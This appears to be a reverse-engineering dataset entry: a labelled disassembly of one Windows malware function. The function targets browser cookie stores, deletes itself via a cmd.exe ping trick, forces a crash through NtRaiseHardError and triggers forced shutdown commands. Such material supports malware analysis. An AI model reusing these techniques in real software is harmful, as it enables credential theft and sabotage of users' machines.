Function at 0x40314b
Capabilities:
Create process on windows
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [edx + 4]
sub esp, 0x5fc
push ebx
xor ebx, ebx
push esi
push edi
sub eax, ebx
je 0x4034c0
sub eax, 1
je 0x4034b8
sub eax, 1
je 0x40346c
sub eax, 1
je 0x40334e
sub eax, 1
je 0x403347
sub eax, 1
jne 0x4034cc
lea ecx, [ebp - 0x50]
call fcn.00413fc0
push 0x1c
pop esi
mov edx, esi
lea ecx, [ebp - 4]
call fcn.00413915
push str.LocalGoogleChromeUser_DataDefaultNetworkCookies
lea ecx, [ebp - 4]
call fcn.004043fa
push ecx
lea eax, [ebp - 4]
mov ecx, esp
push eax
call fcn.00404656
call fcn.00413c34
push 0x1a
pop edx
lea ecx, [ebp - 0x10]
call fcn.00413915
lea ecx, [ebp - 0x10]
mov dword [esp], str.MozillaFirefox_
call fcn.004043fa
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
call fcn.00404656
push str.profiles.ini
lea ecx, [ebp - 8]
call fcn.004043fa
push str.Profile
lea ecx, [ebp - 0x24]
call fcn.0040460a
push ebx
lea ecx, [ebp - 0x24]
call fcn.00404477
push 0x208
lea eax, [ebp - 0x5f8]
push ebx
push eax
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0x5f8]
push dword [ebp - 8]
push 0x104
push eax
push ebx
push str.Path
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xc]
call fcn.00404656
lea eax, [ebp - 0x5f8]
push eax
lea ecx, [ebp - 0xc]
call fcn.004043fa
push str.cookies.sqlite
mov ecx, eax
call fcn.00404422
push ecx
lea eax, [ebp - 0xc]
mov ecx, esp
push eax
call fcn.00404656
call fcn.00413c34
mov edx, esi
lea ecx, [ebp - 0x20]
call fcn.00413915
lea ecx, [ebp - 0x20]
mov dword [esp], str.MicrosoftEdgeUser_DataDefaultcookies
call fcn.00404422
push ecx
lea eax, [ebp - 0x20]
mov ecx, esp
push eax
call fcn.00404656
call fcn.00413c34
mov edx, esi
lea ecx, [ebp - 0x1c]
call fcn.00413915
lea ecx, [ebp - 0x1c]
mov dword [esp], str.MicrosoftWindowsINetCookies
call fcn.00404422
push ecx
lea eax, [ebp - 0x1c]
mov ecx, esp
push eax
call fcn.00404656
call fcn.00413c34
mov edx, esi
lea ecx, [ebp - 0x18]
call fcn.00413915
lea ecx, [ebp - 0x18]
mov dword [esp], str.MicrosoftWindowsCookies
call fcn.00404422
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
push eax
call fcn.00404656
call fcn.00413c34
pop ecx
mov ecx, dword [ebp - 0x18]
call fcn.00406f1d
mov ecx, dword [ebp - 0x1c]
call fcn.00406f1d
mov ecx, dword [ebp - 0x20]
call fcn.00406f1d
mov ecx, dword [ebp - 0xc]
call fcn.00406f1d
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc], ebx
call fcn.00406f1d
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov ecx, dword [ebp - 0x10]
call fcn.00406f1d
mov ecx, dword [ebp - 4]
call fcn.00406f1d
lea ecx, [ebp - 0x50]
call fcn.00413c16
jmp 0x4034cc
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x44
lea eax, [ebp - 0x94]
push ebx
push eax
call fcn.00401293
add esp, 0xc
lea esi, [ebp - 0x94]
lea edi, [ebp - 0xe0]
xor eax, eax
push 0x11
pop ecx
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x48]
stosd dword es:[edi], eax
lea esi, [ebp - 0x48]
push 0x104
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x1e8]
lea edi, [ebp - 0x38]
movsd dword es:[edi], dword [esi]
push eax
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xe
pop ecx
mov esi, str.cmd.exe__C_ping_1.2.3.4__n_4__w_1000___Nul__cmd.exe__C
lea edi, [ebp - 0x3f0]
rep movsd dword es:[edi], dword [esi]
push 0x22
pop eax
lea esi, [ebp - 0x1e8]
mov byte [ebp - 0x3b8], al
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4033b9
sub esi, ecx
lea eax, [ebp - 0x1e8]
push esi
push eax
lea eax, [ebp - 0x3b7]
push eax
call fcn.0040126d
add esp, 0xc
lea ecx, [ebp - 4]
push 0x22
pop eax
push 5
pop edx
mov word [ebp + esi - 0x3b7], ax
call fcn.00413915
push str.Documents:ApplicationData
lea ecx, [ebp - 4]
call fcn.004043fa
lea ecx, [ebp - 8]
call fcn.00413960
push dword [ebp - 4]
mov esi, dword [sym.imp.USER32.dll_CharLowerW]
call esi
push dword [ebp - 8]
mov edi, eax
call esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40345a
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0xe0]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3f0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x38]
call esi
jmp 0x403347
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov ecx, dword [ebp - 4]
call fcn.00406f1d
jmp 0x4034cc
push str.RtlAdjustPrivilege
mov ebx, 0x419540
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.NtRaiseHardError
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x11]
push eax
push ebx
push 1
push 0x13
call edi
lea eax, [ebp - 0x28]
push eax
push 6
push ebx
push ebx
push ebx
push 0xc00002b4
call esi
jmp 0x4034cc
push ebx
push str.shutdown.exe__r__f__t_00
jmp 0x4034c6
push ebx
push str.shutdown.exe__r__t_00
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebx
leave
ret